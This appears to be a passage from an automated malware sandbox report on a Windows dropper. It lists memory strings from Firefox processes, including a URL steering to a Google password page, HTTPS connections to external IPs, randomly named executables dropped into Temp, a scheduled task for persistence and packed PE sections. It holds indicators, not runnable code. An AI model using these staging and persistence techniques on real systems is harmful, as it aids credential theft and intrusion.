Source: firefox.exe, 0000001A.00000002.2160798255.0000025CE5926000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2147404002.000001F7725B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFAC7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: bfa374134d.exe, 00000007.00000003.1805995991.0000000005997000.00000004.00000800.00020000.00000000.sdmp, bfa374134d.exe, 0000000F.00000003.2128995758.0000000005B9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2229487864.0000025CEB442000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 0000001A.00000002.2141287470.000000D404F3B000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.msn.com
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE63AF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2162261594.0000025CE5ABC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 0000001A.00000002.2204025127.0000025CEA6D0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2207522391.0000025CEA746000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2218681627.0000025CEAFD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE6303000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.widevine.com/
Source: firefox.exe, 0000001A.00000002.2232790648.0000025CEBA70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.1996814961.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2229487864.0000025CEB414000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2019209448.0000025CF29B0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2166905315.0000025CE63E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2169874877.0000025CE6F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE996B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2144651879.00000202DFA0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 0000001A.00000002.2197566384.0000025CEA030000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://xhr.spec.whatwg.org/#sync-warningThe
Source: firefox.exe, 0000001A.00000003.2039254159.0000025CEC3C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2036020671.0000025CEDAF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE991B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2010216577.0000025CEC3C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2039254159.0000025CEC3D0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 0000001A.00000002.2157634662.0000025CDBDE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/acc
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account
Source: firefox.exe, 0000001A.00000003.2052099814.0000025CED5FA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2160798255.0000025CE59ED000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2186945883.0000025CE990D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2008063698.0000025CED4A6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000003.2010216577.0000025CEC3C3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2190106685.0000025CE9B2F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2153342673.0000025CDA26B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2145272918.000001F7722F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2145272918.000001F7722FA000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2141706436.000001F772164000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2159052346.00000202DFBF4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2141063107.00000202DF86A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2141063107.00000202DF860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000018.00000002.1929540571.0000022C77767000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000019.00000002.1936661342.0000025DF1F9C000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2151948053.0000025CD9FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser
Source: firefox.exe, 0000001A.00000002.2151948053.0000025CD9FE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdH
Source: firefox.exe, 0000001A.00000002.2157634662.0000025CDBDE0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2145272918.000001F7722F0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2141706436.000001F772164000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2159052346.00000202DFBF4000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2141063107.00000202DF860000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdMOZ_CRASHREPORTER_RE
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUpdateManager:_loadX
Source: firefox.exe, 0000001A.00000002.2166905315.0000025CE637C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdUse
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdmaybeOfferTranslatio
Source: firefox.exe, 0000001A.00000002.2153342673.0000025CDA203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwdy#
Source: firefox.exe, 0000001A.00000002.2214368126.0000025CEA91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account_getBoundsWithoutFlushingincrementMinKeywordLengthisSafeToPlayDeferredEve

Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50057
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50071 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50045 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 50010 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50065
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50073
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50009 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49972 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50057 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50079
Source: unknown	Network traffic detected: HTTP traffic on port 50073 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49927 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50087
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50086
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50048 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50049 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 50035 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 50086 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49976 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49908 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 49891 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49917 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 50002 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49805 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49813 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49819 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49839 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49842 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49863 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49876 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.10:49898 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49948 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:49972 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:49976 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:49979 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:49998 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50002 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.10:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:50013 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.10:50020 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.10:50027 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50035 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50045 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50048 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50049 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50057 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50065 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50073 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50079 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.10:50087 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.10:50086 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 2f7f14fa8e.exe, 0000000C.00000002.1985840043.0000000000412000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_89923fca-9
Source: 2f7f14fa8e.exe, 0000000C.00000002.1985840043.0000000000412000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_be97d92a-c

Drops large PE files

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

File dump: service123.exe.6.dr 314617856

Jump to dropped file

Drops password protected ZIP file

Source: file.bin.36.dr

Zip Entry: encrypted

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: 3ca19a76c8.exe.2.dr	Static PE information: section name:
Source: 3ca19a76c8.exe.2.dr	Static PE information: section name: .idata
Source: 741343eac3.exe.2.dr	Static PE information: section name:
Source: 741343eac3.exe.2.dr	Static PE information: section name: .idata
Source: 741343eac3.exe.2.dr	Static PE information: section name:
Source: random[2].exe.2.dr	Static PE information: section name:
Source: random[2].exe.2.dr	Static PE information: section name: .idata
Source: random[2].exe.2.dr	Static PE information: section name:
Source: dca2c3185c.exe.2.dr	Static PE information: section name:
Source: dca2c3185c.exe.2.dr	Static PE information: section name: .idata
Source: dca2c3185c.exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name:
Source: random[1].exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe.2.dr	Static PE information: section name:
Source: bfa374134d.exe.2.dr	Static PE information: section name:
Source: bfa374134d.exe.2.dr	Static PE information: section name: .idata
Source: bfa374134d.exe.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name:
Source: random[1].exe0.2.dr	Static PE information: section name: .idata
Source: f48847f8be.exe.2.dr	Static PE information: section name:
Source: f48847f8be.exe.2.dr	Static PE information: section name: .idata
Source: random[1].exe2.2.dr	Static PE information: section name:
Source: random[1].exe2.2.dr	Static PE information: section name: .idata
Source: random[1].exe2.2.dr	Static PE information: section name:
Source: 2db16943cb.exe.2.dr	Static PE information: section name:
Source: 2db16943cb.exe.2.dr	Static PE information: section name: .idata
Source: 2db16943cb.exe.2.dr	Static PE information: section name:
Source: random[2].exe0.2.dr	Static PE information: section name:
Source: random[2].exe0.2.dr	Static PE information: section name: .idata
Source: random[2].exe0.2.dr	Static PE information: section name:
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name:
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name: .idata
Source: 8be8d9c4e9.exe.2.dr	Static PE information: section name:
Source: 02a06b55a8.exe.2.dr	Static PE information: section name:
Source: 02a06b55a8.exe.2.dr	Static PE information: section name: .idata
Source: 02a06b55a8.exe.2.dr	Static PE information: section name:
Source: 8639af97b9.exe.2.dr	Static PE information: section name:
Source: 8639af97b9.exe.2.dr	Static PE information: section name: .idata
Source: 8639af97b9.exe.2.dr	Static PE information: section name:
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: section name:
Source: NGOMEG1CQCQ279X0PYL4.exe.7.dr	Static PE information: section name: .idata
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name:
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name: .idata
Source: ON80Y93WBYHTIEIKRLTF27273JXE.exe.7.dr	Static PE information: section name:
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name:
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name: .idata
Source: 6LLT7I405VVFPGR4K34JYO7L59M7E3.exe.15.dr	Static PE information: section name:
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: section name:
Source: KVK4REO25LWHL4OY.exe.15.dr	Static PE information: section name: .idata

Source: C:\Users\user\AppData\Local\Temp\1016935001\2db16943cb.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\Tasks\skotes.job			Jump to behavior
Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B8860	0_2_006B8860
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B7049	0_2_006B7049
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B78BB	0_2_006B78BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00788101	0_2_00788101
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B31A8	0_2_006B31A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00787B6E	0_2_00787B6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00674B30	0_2_00674B30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B2D10	0_2_006B2D10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00674DE0	0_2_00674DE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006A7F36	0_2_006A7F36
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_006B779B	0_2_006B779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E378BB	3_2_00E378BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E38860	3_2_00E38860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E37049	3_2_00E37049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E331A8	3_2_00E331A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00DF4B30	3_2_00DF4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00DF4DE0	3_2_00DF4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E32D10	3_2_00E32D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E3779B	3_2_00E3779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00E27F36	3_2_00E27F36
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010E710C	7_3_010E710C
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010E710C	7_3_010E710C
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010EC629	7_3_010EC629
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010EC629	7_3_010EC629
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010E710C	7_3_010E710C
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010E710C	7_3_010E710C
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010EC629	7_3_010EC629
Source: C:\Users\user\AppData\Local\Temp\1016936001\bfa374134d.exe	Code function: 7_3_010EC629	7_3_010EC629

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Process token adjusted: Security

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 006880C0 appears 130 times
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: String function: 00E080C0 appears 130 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9979936563351499
Source: skotes.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9979936563351499
Source: 741343eac3.exe.2.dr	Static PE information: Section: yxtglqzl ZLIB complexity 0.9950082449096644
